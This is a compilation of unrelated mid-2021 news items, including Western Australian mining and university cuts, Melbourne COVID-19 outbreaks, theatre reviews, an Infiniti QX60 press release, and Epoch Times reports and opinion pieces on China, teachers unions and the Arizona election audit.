This is a global issue: its not just Western Australian projects. Most major companies dont understand why these projects fail, they just move on and hope people will forget. BHP-Billitons hot briquetted iron plant in Port Hedland was meant to be a cost and energy-saving project that processed 58 million tonnes of fine iron ore onshore, at a $66 million royalty boon for the state. But a 2004 gas explosion killed one worker and seriously burnt two others and eventually the company had to demolish its $2.4 billion plant because of low production, low prices and expensive modifications. Professor Trevelyan said the issue was not the technology but the disconnect between those promoting the project and those on the ground working to make it a reality.

It was a similar story at BHPs failed $2.6 billion nickel mine in Ravensthorpe, where the cost outweighed reward, and the company was forced to sell it for about one-tenth of its cost. Loading Professor Trevelyan said a key difficulty was retaining highly skilled engineers on major projects in remote parts of WA, and a critical factor was ensuring families could enjoy life together, with high quality education for their children. A recent Chamber of Minerals and Energy WA survey found that 65 of the states mining, oil and gas, energy and contractor industries contributed a direct $83 billion to Australias economy in 2019-20 and directly provided more than 94,000 full-time jobs. Behind the scenes, anthropology has played a substantial and important practical research role in native title negotiations, particularly for miners, which came into sharp focus over Rio Tintos Juukan Gorge blast last year.

It cost traditional owners 28,000 years of artefacts and cultural history and the company its international reputation, as well as $US11 billion worth of iron-ore reserves after revising plans in light of the bungle. UWA adjunct professor and University of Queensland emeritus professor of anthropology, David Trigger, said industry wouldnt welcome a shortage in WA-trained anthropologists given the level of cultural investigation and legal appeals built into native title negotiations with traditional owners. So in terms of cultural heritage in Western Australia, groups can immediately appeal to the federal government Aboriginal heritage legislation and that bogs down for years, he said. Anthropologists are continually being engaged, either by Indigenous organisations or by government, at times by industry, to either produce reports or assess/peer review other reports. These cases are not going to stop going to court. So this is just bizarre that theres a belief that this work will be able to be done without people with those qualifications.

He also dismissed the idea that it was a skills pipeline that could be supplanted with anthropologists graduating from the eastern states. Loading Theres a shortage already, its a very difficult area to work in  its very political, Professor Trigger said. All of this means that  the political nature of the matter, as well as the big money thats involved  its a set of skills in linguistic anthropology, in social and cultural studies, that cant be just assumed to be there for anybody to use. Professor Trigger said the university would lose international standing, since UWA social science students and staff worked across a number of disciplines in other countries, and the move had already sent shockwaves across all sectors.
Two of the Barwon-based teachers family members have subsequently tested positive and most of the schools staff are now in isolation after the teacher attended an all-staff event at the schools Maddingley campus on Monday, then began to feel unwell on Monday evening. Staff and students at Barwon Heads Primary School, on the Bellarine Peninsula, were also told to limit their movements after authorities confirmed a positive case in the school community late on Wednesday. A parent at the school, Simon Quirk, tweeted on Wednesday night that everyone at the school had been told to isolate and get tested. Mr Quirk said a testing centre was being set up at the local Country Fire Authority and everyone had been assigned a time to get tested on Friday.

The department has identified 123 residents and 11 visitors of Ariele Apartments as primary close contacts. Those three cases add to eight others announced on Wednesday spread across two separate outbreaks. Both are offshoots of Sydneys Delta clusters, which added 97 new cases on Wednesday, including 70 in the south-west Sydney local health district. Elective surgery at Liverpool Hospital was postponed on Wednesday after a patient undergoing a C-section tested positive to COVID-19, putting the staff at risk. A woman locked in the Ariele Apartments due to the COVID-19 outbreak. Credit:Jason South Melbourne health authorities have now listed more than 60 exposure sites including the Highpoint Shopping Centre on Friday. Many were visited by a man in his 60s while he was possibly infectious. Another positive case, a person who had travelled from Sydney and was supposed to be isolating at home, visited a Coles supermarket in Craigieburn, where a man in his 30s who was there at the same time contracted COVID-19. The two did not know each other and transmission occurred despite masks being mandatory for supermarket shoppers.

The Victorian Health Department listed more than 30 fresh exposure sites late on Wednesday including medical and dental clinics, a variety of shops at a DFO in Bundoora and an ATM at Campbellfield Plaza. Also added later in were several public transport sites on July 10 from tier-1 to tier-3 including tram routes, train lines and three train stations including Flinders Street. More tier-1 and tier-2 sites were added close to 11pm on Wednesday including a McDonalds on July 11 and 13 (tier-1) and several tier-2 sites on July 11 including an Officeworks in Waurn Ponds and two service stations in Highton and Broadmeadows. Also added in after 11pm were two sporting clubs in the tier-1 category. Barwon Heads Football and Netball Club (Players and Coaches) on July 12 from 4.30pm to 6pm and the Craigieburn Sporting Club on July 12 from 10.45am to 2.30pm. Spectators at the Barwon Heads Football and Netball Club on July 12 from 4.30pm to 6pm are listed as tier-2. Government sources say officials are very concerned about the outbreak because it has been circulating in the community while there are minimal COVID-19 restrictions. Contact tracers were able to snuff out Victorias most recent Delta outbreak, in a North Melbourne family, as it was detected while the state was in lockdown.

If the virus has got out at the pub or the AFL, I cant imagine its going to look good, said a senior government source who was not authorised to speak publicly. Victorian COVID-19 response commander Jeroen Weimar said authorities would mount a fast and aggressive attack on the outbreaks and urged the whole community to once again come together to make sure we surge around these two chains of transmission and get them under control quickly. A source from peak hospitality group the Australian Hotels Association, who asked to remain anonymous, said following consultation with government officials that his organisation was preparing for stronger restrictions to be put in place including a possible snap lockdown. Western Australia responded to the new cases by enforcing border restrictions on visitors from Victoria, who must isolate for 14 days upon entering the state. Acting WA Premier Stephen Dawson said the changes were effective immediately.

A DHHS worker carries food into the locked down Maribyrnong apartment complex. Credit:Jason South Western Australia has always taken an extra cautious approach to its border controls and this has proven effective in keeping WA safe from COVID-19, he said. But the Fremantle-Geelong match set for Optus Stadium in Perth on Thursday will go ahead, with the AFL receiving special permission to allow the Cats to train and play in WA because the states health officials had confidence in the AFLs coronavirus processes, the states Police Commissioner Chris Dawson said. The decision was made while the plane carrying Geelong players and staff was in the air. South Australia also tightened restrictions for visitors from Melbourne, requiring them to undertake a COVID test within 24 hours of arriving (but with no mandatory quarantine) and no entry to a high-risk setting such as aged care for 14 days after arriving in SA. Both Melbourne outbreaks resulted from people breaking the rules. The largest, where nine of the 11 new Victorian cases emerged, was Ariele Apartment complex in Maribyrnong, where three removalists from Sydney worked last week. Four residents from two apartments were subsequently infected, including a family of three and the man in his 60s, who went on to visit and infect his elderly parents.

It was revealed on Wednesday that the removalists were not wearing masks when they attended the building last Thursday. Mr Weimar said it was possible they would face fines or other punishments and their unhelpfulness towards contact tracers had caused a delay in identifying exposure sites such as a service station and Hungry Jacks in Kalkallo, north of Melbourne. Books will be thrown when its time, when its ready to throw them, and Im exceptionally frustrated at the pace and transparency of information coming from the removalists exposure, he said. COVID-19 commander Jeroen Weimar on Wednesday. Credit:Justin McManus Mr Weimar said a source of transmission had been identified for all of the eight new cases mentioned at Wednesdays press conference but the next two days are particularly critical. I think were right on the heels of this particular outbreak. I have to say though with the Ariele Apartment building, that was an abundance of caution approach and weve now seen four cases through there already. Its already jumped to a further two families, he said.

We have significant exposure sites at the MCG, at Highpoint and were still trying to work out of course any other exposure sites for the man in his 30s in Craigieburn and the elderly couple, also in Craigieburn. So weve got more work to do ... That work is happening right now. Mr Weimar said all Victorians with symptoms must get tested. This is not a time to wait and delay. If youve got any symptoms, wherever you are in Victoria ... you must get tested immediately. Epidemiologist Nancy Baxter, the head of Melbourne Universitys School of Population and Global Health, said it was clear the next two or three days were crucial and it could go either way on a third Victorian lockdown for the year and fifth overall.

She said the key would be if exposure sites reached the hundreds and close contacts entered the thousands or tens of thousands, as they did before last months two-week lockdown. Loading Thats the kind of situation where you need a circuit-breaker, something that stops everyone from interacting to give contact tracers a chance to catch up, Professor Baxter said. The good thing is weve still had masks in retail and indoor situations, so its possible weve been protected from some spread. She suggested the government should consider reintroducing restrictions such as mask-wearing and asking Victorians to work at home from Thursday. The NSW government had waited too long and endured a longer lockdown as a result, Professor Baxter said. University of Melbourne researcher Dr Jason Thompson, who provided modelling to the Victorian government during last years second wave, said it was reassuring that all of Wednesdays cases had a known source, but the most concerning was the man who had visited Coles.

That is the riskiest one  because this person has been out and about in the community, theyre in the supermarket, theyve picked it up, he said. If all seven had a lot of mystery youd be really worried, but we have one with some mystery. So we need to find out as much as possible about that person, where theyve been, their contacts and reduce the level of mystery associated with that. La Trobe University epidemiologist Hassan Vally said Victorians should be on high alert regardless of whether new restrictions are introduced. We should recognise that everything we do over the next few days, even if its not a requirement, can make a difference, he said. But the most important thing is testing.
A Liberal noted that the PM has had a rollercoaster couple of years and is no stranger to fighting back from seemingly poor political positions. Labor has sheeted recent lockdowns down to the Morrison governments failure to roll out vaccines quickly and the Labor states whose premiers have been most at odds with Morrison  Mark McGowan in WA and Anastacia Palasczuk in Queensland  have had the biggest swings towards Labor (albeit that these resource states have been the coalitions most loyal supporters). How do the leaders chart a course forward then when blunt fortress politics have been so effective? While the lack of urgency on vaccines in the first half of 2020 has been abysmal, it is unthinkable that Morrison would call an election before the logistics have well and truly caught up, whether that is late this year as some WA Labor figures are preparing for, or early in 2022. Albaneses vaccine critique might look good now, but if the Australian economy is strong by Christmas and every Australian who wants one can get a jab, where does Labor go then?

This is a double-edged sword, however, because at some point in the next six to eight months, vaccine take-up is going to stall out well short of suggested figures like 75 or 80 per cent with international borders still closed, perhaps not much over the 50 per cent mark. This is a self-reinforcing circle: one needs not be a vaccine sceptic to wonder what the point of taking it is with closed borders and quarantine requirements making your chances of catching the virus remote even when periodic outbreaks occur, which in turn undermines the urgency of getting a jab. How do the leaders chart a course forward then when blunt fortress politics have been so effective? One fight Albanese doesnt appear to want to have is on income tax, with the Australian Financial Review reporting Labor is likely to wave through the legislated phase 3 income tax cuts scheduled to kick in in 2024, whose benefit will be felt most by high-income earners. Many Liberals have been relishing a fight on the issue, looking for a re-run of the 2019 franking credits campaign that was so devastating to Bill Shorten.

One WA Labor figure mused that Labor had struggled to sell mining and carbon taxes even with all the resources of government at their disposal and with relatively competent communicators in Kevin Rudd and Julia Gillard in charge. Nor could the McGowan government get up a gold tax during its honeymoon period after winning an election promising budget repair. Its all good news for rockstar Premier Mark McGowan. Credit:Paul Kane/Getty The prediction was for a more timid politics that abandons the pretense of taking big reforms to the ballot box. The Labor person described the process of shifting West Aussie votes away from the coalition as a two-step process: step one getting voters to give up on the Liberals, and step two having that vote land in the Labor column.

The source believed this Newspoll shows that is beginning to happen but was under no illusions at the magnitude of the task, suggesting the clear-eyed assessment was still that a Morrison win was the likeliest outcome (put it down to claiming underdog status, if you prefer). Loading Morrisons approval is still very high here, despite everything we have said publicly  that he sided with Clive Palmer, that they have treated WA as an afterthought, the source said. But maybe it is finally the election where another oft-made but dashed prediction turns true: that Western Australia matters to the outcome. If Albanese is set to become the next PM, he will need to win seats in WA, seats Morrison will need to defend to continue his residence of the Lodge.
Madrid: Spains Constitutional Court ruled that strict home confinement included in a national state of emergency to curb the first wave of COVID-19 infections last year was unconstitutional.

Introduced last March, the state of emergency allowed the government to temporarily limit civil liberties, confining almost all Spaniards to their homes and shutting down all but essential industries.

A birthday celebration at a family home in Spain during the COVID-19 lockdown in 2020. Credit:Getty Images Europe

The Constitutional Court said in a statement on Wednesday (on Thursday AEST) it had annulled by a simple majority some articles of the state of emergency decree related to free movement of citizens. The complete ruling will be released in a few days.

By voiding the emergency decree, the ruling opens the door to the cancellation of fines for breaching lockdown restrictions imposed during the period.
Washington: The Biden administration said that it is prepared to begin evacuation flights for Afghan interpreters and translators who aided the US military effort in the nearly 20-year war.

But their destinations are still unknown and there are lingering questions about how to ensure their safety until they can get on planes.

The evacuation pledges comes as former US president George Bush criticised the US withdrawal, saying he fears that Afghan women and girls will suffer unspeakable harm. On the ground, Taliban continued to expand their control of parts of the country.

Supporters of the Taliban carry the Talibans signature white flags in the Afghan-Pakistan border town of Chaman on Wednesday. Credit:AP

The Operation Allies Refuge flights out of Afghanistan during the last week of July will be available first for special immigrant visa applicants already in the process of applying for US residency, the White House said Wednesday (Thursday AEST).
Washington: Four Iranians have been charged in absentia by US federal prosecutors with plotting to kidnap an American journalist and smuggle her out of New York on a speedboat.

US journalist Masih Alinejad, the target of the alleged kidnap plot. Credit:Twitter

While the Justice Department indictment did not name the target of the plot, Reuters has confirmed she is Iranian-American journalist Masih Alinejad, who has contributed to the US government-funded Voice of America Persian language service and reports on human rights issues in Iran.

Alinejad, reached by phone after the indictment was released, said she was in a state of shock.

She said she had been working with the Federal Bureau of Investigation since the agency approached her eight months ago with photographs taken by the plotters.
When you walk through Manhattan's Meatpacking District, you might see boutiques, restaurants, and Teslas. But for six nights a week this July, onlookers might see something a little stranger: a woman in a string bikini swinging around a pole, in a storefront. But this is not a peep show. It's a play. Every night in Seven Deadly Sins, Donna Carnow pole dances for a jaw-dropping 90 minutes. And her performance has gripped not just the ticket buyers. It's also attracted the attention of people casually walking by, who then stop, take photos, and ask how they can get in.

"People were trying to figure out how to get into the set. They thought it was a club," says Carnow. "I've had a lot of folks try to tip me for this show, which has been really funny."

Seven Deadly Sin, originally conceived by Michel Hausmann for Miami New Drama and directed in New York by Moises Kaufman, is a series of 10-minute plays by different playwrights, each themed around a vice. The actors perform live, safely behind a glass panel, and the only people who can hear them are the audience members, who wear headsets.

Though it's an atypical piece of theater, Seven Deadly Sins has been greatly welcomed in a city that has been without theater for over a year, and it has been extended to July 25. Carnow's performance as an exotic dancer in Lust by Bess Wohl has captured critical attention, with most of the reviews highlighting Carnow's "impressive physical," "masterfully mesmerizing performance."

Her work is notable for several reasons. For one, Carnow not only seduces the audience with gyrations and martini spins, but she's an acrobat. She holds her body aloft against the pole with only one arm, flips upside down, and, in a feat of physical strength, physically climbs up the pole. And because there's multiple showings of Seven Deadly Sins every night, Carnow performs that demanding 10-minute routine nine times an evening.

The other feat is that Carnow never speaks. Instead, the audience hears her inner monologue, as voiced by Cynthia Nixon. She goes through her grocery list and mentally reacts when she sees a man who sexually assaulted her in the audience. When that moment happens, her smile drops and her moves become sharper, less seductive, and more aggressive.

"The body is so sexualized," remarks Carnow. "In this experience, I really see myself every day from these people outside the window that are not a part of the play: It's a spectacle. It's like, Oh my god, there's this woman who's almost naked, dancing on the pole. But [Bess Wohl] subverts it with the text: We can hear and see the next layer of what this character is experiencing."

Donna Carnow performing Lust, with Cynthia Nixon in the front row

( Emilio Madrid)

Lust was inspired by the story of a real-life exotic dancer, Stephanie Montgomery, who was allegedly raped by a patron at the club where she worked. The club and the police department did not do anything about it, so Montgomery took justice into her own hands and paid for a billboard that detailed what happened to her. Carnow sees the play as a way of humanizing sex workers, who are usually ostracized and shamed by society when they're not being objectified.

"Usually when you see a stripper portrayed in a show or some kind of commercial work, it's more of a titillating experience," explains Carnow. "This is a really beautiful opportunity, where it's quite humanizing. And you're going through this journey that this character is experiencing, and you're feeling that resilience of: Even though this person has taken so much from me, I'm going to still keep going."

And because so many people have offered to tip Carnow for her performance, Seven Deadly Sins is now referring all donations to SWOP Brooklyn, which supports sex workers in need.

Carnow is not an actor; she trained as a dancer. She stumbled into a pole-dancing class in college in 2013 and, in her words, "it changed my life." Carnow now teaches full-time at Body & Pole, which is one of the biggest pole-dancing studios in the world, and regularly competes in pole-dancing competitions.

It's surprising she had no previous acting experience before performing in Seven Deadly Sins; Carnow has a bright smile and an animated face, and she gesticulates with her hands when she speaks. She was originally brought into the show to choreograph the pole routine for Lust, but the creative team soon realized that the only person who could physically do a 10-minute pole dance nine times a night was a professional.

Initially, Carnow wanted to do even more acrobatics. But Kaufman encouraged her to embrace simplicity, so the audience could also focus on the monologue and Carnow's face, and not just her body. "A lot of what the work that me and Moises did, in a collaborative way, is figuring out how can we use the choreography as a container  so the language can really live and can be connected with [by the audience]. Because if it's too much physical material, it's hard to digest the language," Carnow explains. She also hears Nixon's monologue while she's performing, and it lets her time her movements to the words.

A less physically demanding routine also means that it's something that Carnow can do every night, often with only five minutes between each performance. But she's enjoying the challenge of it, even if she has to take regular Epsom salt baths. "It's a little masochistic, but I kind of love it," she says. "When you get exhausted, you unveil new layers, it strips you down a little bit. That's where virtuosity comes in. That's where this resilience comes through."

Doing Seven Deadly Sins, and becoming physically stronger in the process, has reminded Carnow of why she fell in love with pole dancing to begin with. "It is such an empowering practice," she says emphatically. "It literally trains you to feel comfortable in your body. And not necessarily what your body looks like, but what your body can do. I feel so thankful to have had this form come into my life. And to be a part of this production has been such a wild ride."

And it helps that Carnow eventually got to meet Nixon, who recorded the voiceover from her closet. After the performance Nixon attended, she greeted Carnow with a big hug. She complimented Carnow's acting, encouraged her to tell everyone in her life about the show, and, Carnow adds with a laugh, "She also said that she didn't realize she was this flexible, which was pretty hilarious."
"When he comes back will you be ready?"

That's the question we're asked near the end of Will Power's Seize the King, a modern take on Shakespeare's Richard III staged by the Classical Theatre of Harlem and now running at the outdoor Richard Rodgers Amphitheater. This Richard, played by Ro Boddie with a ruthless swagger despite the king's slight limp, acts as a stand-in for all the tyrants who hack their way through history generation after generation and yet catch people unawares every time. Director Carl Cofield knocks that message out of the park in a smart, razor-sharp production that surprisingly delivers as many laughs as gasps, thanks to its stellar cast.

Power's version of the Richard III story pares down Shakespeare's long play to a brisk 95 minutes, uses slang-infused dialogue, and makes several changes to the plot. But the essence of the original is there: With his eyes trained on the throne, Richard has one small obstacle in his way, his dead brother's 12-year-old son, Edward V (played with reserved charm by Alisha Espinosa). To carry out his murderous plan, he must marry Lady Anne (also Espinosa) for her property and money, and then get Edward's not-to-be-messed-with-mother, Queen Woodville (Andrea Patterson in a hilarious performance), to make him Edward's protector.

Meanwhile, Lord Buckingham (Carson Elrod) is complaining to Richard that foreigners ("those damned Irishmen") are taking all the jobs and ruining the country with their barbaric customs, so the two join forces in a quid pro quo. Richard supports Buckingham's anti-immigrant agenda in exchange for Buckingham's willingness to cut a throat, which he does to the meddlesome Hastings (a dynamic RJ Foster in one of several roles). Richard takes the throne, but holding on to it proves to be more difficult as the tide turns against him. Alas, there's no horse to be found.

The cast of Seize the King, running at the Richard Rodgers Amphitheater in Marcus Garvey Park.

( Richard Termine)

Cofield keeps the action moving at a steady clip with short, well-paced scenes separated by interludes featuring five dancers whose movements often provide elegant, chorus-like commentary on the action (choreography by Tiffany Rea-Fisher). It all takes place on Christopher and Justin Swader's magnificent set, which looks like some hellish subterranean chamber flowing with electric lava (evocative lighting by Alan C. Edwards). But this chamber isn't located in one place; despite passing references to England and Tewksbury, Richard's world is a timeless, placeless pocket of history that could just as easily be 21st century America.

This rich intertwining of past and present swirls through the rest of the play like the backdrop of a Kehinde Wiley portrait. Actors wear modern dress with flourishes of other eras (costumes by Mika Eubanks), and Frederick Kennedy's eclectic music uses modern and classical-inspired melodies during the interludes to blur any sense of a definite time period, as does Power's language, which blends thees and thous with modern slang and references to sushi and Stairmasters. Some of it is over the top. He has an affinity for gross-out references to bodily functions, and his poetry often aspires to Bard-dom without coming close.

But the play gets its heft from its spot-on relevance, and the question that we're asked at the end seems more like its own answer. No, we won't be ready. We've been fooled too many times before.
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Additionally, every QX60 is powered by an award-winning 295-horsepower 3.5-liter V-6 engine teamed with an all-new 9-speed automatic transmission. A five-mode drive selector and idle stop/start system are standard. INFINITI Intelligent All-Wheel Drive is available on all grades and is enhanced with a direct coupling engagement that seamlessly transfers up to 50% of its available power nearly instantly to the rear wheels for better traction.

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QX60 SENSORY models equipped with Intelligent All-Wheel Drive can opt for a Tow Package that adds a tow receiver, wiring, and uprated transmission oil cooler that delivers a 6,000-pound braked towing capacity, a 2,500-pound increase over the standard 3,500-pound capacity, which costs $900 MSRP.

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Depending on the grade, interior colors include Graphite and Sandstone leather-appointed seats. Saddle Brown is available on SENSORY and AUTOGRAPH grades to complement the QX60's tailored and serene interior, with semi-aniline leather appointments standard to QX60 AUTOGRAPH buyers.

The 2022 INFINITI QX60 arrives in most North American markets in fall 2021, with other worldwide markets to follow later.

GRADE MSRP PURE $46,850 PURE AWD $48,850 LUXE $52,900 LUXE AWD $54,900 SENSORY $56,350 SENSORY AWD $58,350 AUTOGRAPH $60,350 AUTOGRAPH AWD $63,250

OPTIONS MSRP Performance Audio Package $900 Vision Package $1,500 Tow Package $900 Premium Paint $695 Super Premium Paint $900

MSRP excludes D&H $1,025.

# # #

About INFINITI

INFINITI Motor Company is headquartered in Yokohama, Japan with operations around the world including regional offices based in the Americas, China and INFINITI International Markets based in Dubai. The INFINITI brand of premium automobiles are assembled in manufacturing facilities in Japan, North America and China. INFINITI design studios are located in Atsugi-Shi near Yokohama, London, San Diego and Beijing.
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Arizona Gov. Doug Ducey and Arizona legislators applaud at a bill signing allowing a major expansion of sports betting in Arizona at an event at the Heard Museum on Thursday, April 15, 2021, in Phoenix.
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John Hendrickson is policy director for Tax Education Foundation of Iowa, a public policy think tank. John C. Mozena is president of the Center for Economic Accountability, a nonprofit organization working to improve state and local economic development policy across America.
Kentucky Secretary of State Michael Adams (right in blue tie) chats before a state House committee hearing on Thursday, Feb. 20, 2020, in Frankfort, Ky.
Advocates for nursing reforms applaud while gathered May 6, 2019, outside the Statehouse in Concord, New Hampshire.
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Tim Gruver is a politics and public policy reporter. He is a University of Washington alum and the recipient of the 2017 Pioneer News Award for Reporting. His work has appeared in Politico, the Kitsap Daily News, and the Northwest Asian Weekly.
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Melanie joined The Daily Times in the early 90s and has served as the Life section editor since 1993. A William Blount and UT alum, Melanie is generally the early arriver who turns on the lights in the newsroom.

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Jeff Robbins, a former assistant U.S. attorney and delegate to the United Nations Human Rights Council in Geneva, was chief counsel for the minority of the Senate Permanent Subcommittee on Investigations. An attorney specializing in the First Amendment, he is a longtime columnist for the Boston Herald, writing on politics, national security, human rights and the Middle East.
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A man (L) is given a nucleic acid test for the Covid-19 coronavirus in Mangshi in the Dehong Dai and Jingpo Autonomous Prefecture, which borders Myanmar in China's southwestern Yunnan Province, on July 9, 2021. (STR/AFP via Getty Images)

Americans Could Recover Trillions in Damages From Lawsuits Against CCP Over Its Pandemic Coverup: Expert

Americans could sue the Chinese Communist Party (CCP) for trillions of dollars over its coverup of the origins of the COVID-19 pandemic, according to lawyer and economist Jim Rickards.

The pandemic, which has caused a reported global death toll of 4 million, including more than 600,000 in the United States, likely was caused by a leak from the Wuhan Institute of Virology (WIV), Rickards writes in his book The New Great Depression: Winners and Losers in a Post-Pandemic World.

Meanwhile, the CCP has continuously tried to hide the source to deflect responsibility and neutralize trillions of dollars of damage claims, he says.

Its a crime against humanity and its gross criminal negligence, the author told The Epoch Times in an interview.

Americans can thus take the CCP to court in the United States to seek compensation for losses suffered as a result of the pandemic, Rickards said. He estimates that $3 trillion to $4 trillion in damages could be awarded to Americans in future lawsuits against the regime.

He says that Americans have grounds to sue under both domestic law, such as tort law and racketeering laws and international law.

While some legal experts contend that such lawsuits are unlikely to succeed because Beijing can claim sovereign immunity, a legal rule that insulates countries from being sued in other countries courts, he thinks this barrier can be overcome.

Sovereign immunity is a legal doctrine with limitations, not an all-purpose, get-out-of-jail-free card, the author said. The CCP is a political party, not a sovereign.

In addition, there are numerous non-sovereign defendants that Americans could sue, Rickards said, including the Wuhan lab itself, individual researchers, individual and corporate suppliers, and U.S. defendants  who aided and abetted the gain-of-function research and gene splicing activities.

The possibility that the virus leaked from the WIV, dismissed as a conspiracy theory at the start of the pandemic, has since garnered international scrutiny as new evidence has emerged, including how WIV staff became sick with COVID-19-like symptoms before the outbreak was identified. Meanwhile, the Chinese regime hasnt allowed outside access to records at the facility, preventing any meaningful investigation into the virus origins.

President Joe Biden on May 26 ordered his administration to produce a report in 90 days on the origins of the virus. He said intelligence agencies are looking at rival theories, including the possibility of a laboratory accident in China.

The Biden administration wont take immediate action to pressure Chinas communist regime to allow an independent probe into whether COVID-19 originated in a Wuhan lab until theres an international consensus, national security adviser Jake Sullivan said on June 20.

Meanwhile, Republican lawmakers have accused the administration of not doing enough to hold the CCP accountable over its ongoing coverup of the pandemic.

Former President Donald Trump, in a July 11 speech at the Conservative Political Action Conference in Texas, said, We will hold China accountable for the damage and suffering they have caused, and make them pay trillions of dollars in reparations to us and to the world.

Republican lawmakers have already introduced several measures to make it easier for Americans to sue the CCP in court, including those stripping the regime of sovereign immunity.

Several class actions have been initiated in the United States and other countries suing the regime over its alleged role in causing the human and economic devastation wrought by the pandemic. Two U.S. state governments have filed lawsuits against the CCP.

Rickards said that such lawsuits would face some procedural hurdles, but they can be overcome with persistence and good lawyering.

While some may be skeptical about the possibility of actually collecting trillions of dollars in damages from Beijing, Rickards believes its feasible.

The Chinese regime has $1.4 trillion in U.S. Treasury securities in their reserve position, he noted.

So, all you need is a court order directed to the Secretary of the Treasury ordering [China] to transfer their securities to a custodian for the benefit of the victims.

Rickards said that such an outcome would significantly cut Chinas liquid reserves. As of July, China has approximately $3.2 trillion in foreign currency reserves.
People talk before the start of a rally against "critical race theory" (CRT) being taught in schools, at the Loudoun County Government center in Leesburg, Va., on June 12, 2021. (Andrew Cballlero-Reynolds/AFP via Getty Images)

Are Teachers Unions Evil?

Commentary

America has faced great challenges during the past year and a half: the CCP virus, deep political division, and the aggression of communist China. How have our teachers unions responded to these challenges?

During the pandemic, front-line workers, such as doctors, nurses, and other hospital workers, dealt directly with sick and contagious patients, while other front-line workers, such as grocery store clerks and truck drivers, kept the material necessities of life available for all citizens. Many other workers retreated to home to work at a distance, while yet others lost their jobs and had to make do without an income.

Not the teachers. Public school teachers unions refused to return to class even when religious and private school teachers were back in class. The evidence quickly showed that distance learning was an abject failure. Public school unions didnt care what harm was being done to the children that they were supposed to serve. These unions decided to serve the preferences of their dues-paying teachers, who preferred to stay at home and get paid for doing so. No one could accuse public school teachers of rushing to the front lines.

While the teachers refused to go to class, they nonetheless demanded vast sums of additional money for schools and for their own benefits. It was not exactly blackmail, but it was shameless. However, the unions didnt stop there. They meddled in domestic politics.

The United Teachers of Los Angeles (UTLA) demanded as a condition of returning to the classroom that Los Angeles defund the police. According to a Freedom Foundation report about a teacher suing the UTLA:

Defunding the police was one of several informal conditions UTLA claimed the school district would have to meet before its members would agree to resume in-school instruction. And like the unions demand that charter schools be abolished, it had nothing whatsoever to do with making teachers safe during the COVID pandemic.  The union wasnt asking for better wages, benefits or working conditions. Instead, it had prioritized the radical liberal agenda of its leaders above the legitimate workplace concerns of its membersand was willing to hold the parents hostage until it got what it wanted.

Not satisfied with making demands on domestic political policy, the teachers unions now wish to determine foreign policy.

The United Educators of San Francisco (UESF) have adopted an anti-Israel Boycott, Divestment, and Sanction policy within a broader Resolution in Solidarity with the Palestinian People. Perhaps the UESF would like to join Hamas in lobbing thousands of rockets at Israeli citizens. The UESF, as so many on the far left and far right, single out for condemnation the sole Jewish state in the world; apparently, they dont care about the slaughter of Syrians, Iranians, Afghans, and Uyghurs that cannot be blamed on Jews. This is reminiscent of the Black Lives Matter movement that cares only about the dozen blacks killed by police but not the thousands killed by other blacks. Very selective morality.

In response to the clear and hostile division of the two halves of the country, teachers unions have explicitly rejected being a unifying force, choosing to adopt the extremist critical race theory approach in their teaching. Their plan for children is to force them into racial divisions, berating the despised white race as oppressors, and enabling blacks and other minorities to write themselves off as victims with no hopes, becauseyou knowsystemic racism. Second and third-graders are segregated into races and must confess their privilege or victimhood. This is not just anti-American; its child abuse.

Randi Weingarten, head of the American Federation of Teachers (AFT), claims, along with various Democrat media figures, that critical race theory is not being taught in schoolsLets be clear: critical race theory is not taught in elementary schools or high schoolsbut, she warns, the AFT has a ready defense fund to use against anyone who tries to stop teachers teaching critical race theory.

The National Education Association has dedicated itself not only to teaching critical race theory in all 50 states, but also to crushing any opposition to critical race theory. Note whats happening here. As the New York Post headline has it, Embracing critical theory, teachers union says theynot parentscontrol what kids learn. The teachers unions have gone to war against parents, and usurped parental authority over the education of children.

While American teachers are obsessed with race and gender, students achievement in reading, math, and science is mediocre. While Chinese students rated best in the world with a combined score of 1,731, U.S. students ranked 26 in the world with a combined score of 1,489, according to the World Population Review. Teachers dont seem to care that Americas greatest adversary is outstripping the United States in education. They might not be paid by China to undermine their own country, but they might as well be as far as the results are concerned.

The transfer of raising children from the family to the state and its agencies, in this case the teachers unions, is a dream of Marxism, a fulfillment of the dictatorship of the proletariat, which in practice means the dictatorship of the Communist Party. Teachers unions, with their advocacy of racism and their rejection of parents rights, are playing a major role in divide and conquer, the conquest of America by Democrat socialism.

Philip Carl Salzman is professor emeritus of anthropology at McGill University, senior fellow at the Frontier Centre for Public Policy, fellow at the Middle East Forum, and president of Scholars for Peace in the Middle East.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Contractors working for Cyber Ninjas, which was hired by the Arizona Senate, examine and recount ballots from the 2020 general election at Veterans Memorial Coliseum in Phoenix, Ariz., on May 1, 2021. (Courtney Pedroza/Getty Images)

Arizona Senate President Says 2020 Election Audits Ballot Count Doesnt Match Maricopa Tally

Arizona Senate President Karen Fann said on July 13 that the number of ballots counted in the audit of the 2020 general election differs from the tally by Maricopa County officials, and that the discrepancy has prompted the election review team to acquire new machines to recount the ballots.

They havent released a number yet, Fann, a Republican, told KTAR Radio. However, we do know that those numbers do not match with Maricopa County at this point.

Jack Sellers, the chairman of the countys Board of Supervisors, told The Epoch Times in an emailed statement that he wasnt surprised by the claim.

While experienced professionals at the County used the latest certified tabulation technology and established processes to count almost 2.1 million ballots in accordance with Arizona law, the Senate contractors have taken a different approach, he said. Theyve cycled through processes and procedures, chasing conspiracy theories while volunteers with no elections experience tried to accurately count votes as they spun by on turntables.

Elections experts from across the country have said this method is flawed and will produce incorrect results.

The Arizona Senate Democratic Caucus also pushed back against Fanns remarks, writing in a Twitter post, This is a lie.

The caucus didnt immediately respond to a request by The Epoch Times for comment.

According to Maricopa Countys official canvass (pdf), there were 2,089,563 ballots cast in its 2020 general election.

Fanns remarks come as the ballots cast in Arizonas largest county in the 2020 election were set to be counted for a third time on orders from the states Senate.

The ballots submitted in Maricopa County for the presidential contest were tabulated, as normal, by election officials. They were recounted by hand by audit teams hired by the state Senate in a process that was completed late last month.

The Senate was set to conduct its own recount, which will provide a number to compare with those from the county and from the auditors, and focuses on the number of ballots and not the actual votes, unlike the first two tabulations.

The Senate is using two counting machines that it purchased to complete the count.

Maricopa County officials oppose the audit. The county Board of Supervisors called for it to end in May. County officials announced recently that they would replace all of the election machines afterward because of concerns about the equipment being probed by auditors.

Fann told conservative radio host Mike Broomhead that the new count would begin on July 13.

She defended Florida-based Cyber Ninjas, which was hired to lead the audit team and which critics say has insufficient audit experience.

